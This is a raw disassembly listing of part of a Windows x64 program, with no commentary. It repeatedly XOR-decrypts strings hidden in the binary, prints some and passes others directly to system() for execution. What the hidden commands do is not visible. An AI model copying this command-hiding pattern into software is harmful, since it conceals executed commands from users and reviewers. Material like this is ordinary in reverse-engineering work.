movaps xmm0, xmmword [rbp + 0x860]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x870]
call fcn.140037ee0
bts r14d, 0xf
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x870]
mov rcx, rdi
call fcn.140037300
btr r14d, 0xf
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x870]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2330]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x880], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x888], rax
movaps xmm0, xmmword [rbp + 0x880]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x890]
call fcn.140037ee0
bts r14d, 0x10
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x890]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x10
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x890]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2334]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x8a0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x8a8], rax
movaps xmm0, xmmword [rbp + 0x8a0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x8b0]
call fcn.140037ee0
bts r14d, 0x11
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x8b0]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x11
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x8b0]
call fcn.140036980
movups xmm0, xmmword [0x1400b4ae0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400b4af0]
movups xmmword [rbp - 0x70], xmm1
movsd xmm0, qword [0x1400b4b00]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x1400b4b08]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400b4b0c]
mov word [rbp - 0x54], ax
xor r8d, r8d
cmp esi, 2
jl 0x14003284e
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x80]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140032741
cmp r8d, 0x2e
jge 0x140032893
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140032860
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b39f8]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b3a08]
movups xmmword [rbp], xmm1
movzx eax, byte [0x1400b3a18]
mov byte [rbp + 0x10], al
xor r8d, r8d
cmp esi, 2
jl 0x140032a0d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140032900
cmp r8d, 0x21
jge 0x140032a53
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140032a20
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x8c0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x8c8], rax
movaps xmm0, xmmword [rbp + 0x8c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x8d0]
call fcn.140037ee0
bts r14d, 0x12
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x8d0]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x12
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x8d0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2330]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x8e0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x8e8], rax
movaps xmm0, xmmword [rbp + 0x8e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x8f0]
call fcn.140037ee0
bts r14d, 0x13
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x8f0]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x13
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x8f0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2334]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x900], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x908], rax
movaps xmm0, xmmword [rbp + 0x900]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x910]
call fcn.140037ee0
bts r14d, 0x14
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x910]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x14
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x910]
call fcn.140036980
movups xmm0, xmmword [0x1400b44f0]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b4500]
movups xmmword [rbp], xmm1
movzx eax, word [0x1400b4510]
mov word [rbp + 0x10], ax
xor r8d, r8d
cmp esi, 2
jl 0x140032e0d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140032d00
cmp r8d, 0x22
jge 0x140032e53
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140032e20
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b4518]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1400b4528]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [0x1400b4530]
mov byte [rsp + 0x78], al
xor r8d, r8d
cmp esi, 2
jl 0x140032fdd
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140032ed0
cmp r8d, 0x19
jge 0x140033023
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140032ff0
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x920], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x928], rax
movaps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x930]
call fcn.140037ee0
bts r14d, 0x15
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x930]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x15
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x930]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2330]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x940], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x948], rax
movaps xmm0, xmmword [rbp + 0x940]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x950]
call fcn.140037ee0
bts r14d, 0x16
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x950]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x16
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x950]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2334]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x960], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x968], rax
movaps xmm0, xmmword [rbp + 0x960]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x970]
call fcn.140037ee0
bts r14d, 0x17
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x970]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x17
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x970]
call fcn.140036980
movsd xmm0, qword [0x1400b31f0]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x1400b31f8]
mov dword [rbp + 0x28], eax
movzx eax, word [0x1400b31fc]
mov word [rbp + 0x2c], ax
movzx eax, byte [0x1400b31fe]
mov byte [rbp + 0x2e], al
xor r8d, r8d
cmp esi, 2
jl 0x1400333af
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm2, xmmword [0x1400b4b50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400b31f0]
xorps xmm2, xmm0
movd dword [rbp + 0x20], xmm2
movdqa xmm3, xmmword [0x1400b4b60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x24]
xorps xmm2, xmm1
movd dword [rbp + 0x24], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400333c0
lea rdx, [rbp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b4878]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1400b4888]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x1400b4890]
mov word [rsp + 0x78], ax
movzx eax, byte [0x1400b4892]
mov byte [rsp + 0x7a], al
xor r8d, r8d
cmp esi, 2
jl 0x14003357d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140033470
cmp r8d, 0x1b
jge 0x1400335c3
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140033590
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x980], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x988], rax
movaps xmm0, xmmword [rbp + 0x980]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x990]
call fcn.140037ee0
bts r14d, 0x18
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x990]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x18
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x990]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2330]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x9a0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x9a8], rax
movaps xmm0, xmmword [rbp + 0x9a0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x9b0]
call fcn.140037ee0
bts r14d, 0x19
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x9b0]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x19
mov dword [rsp + 0x50], r14d
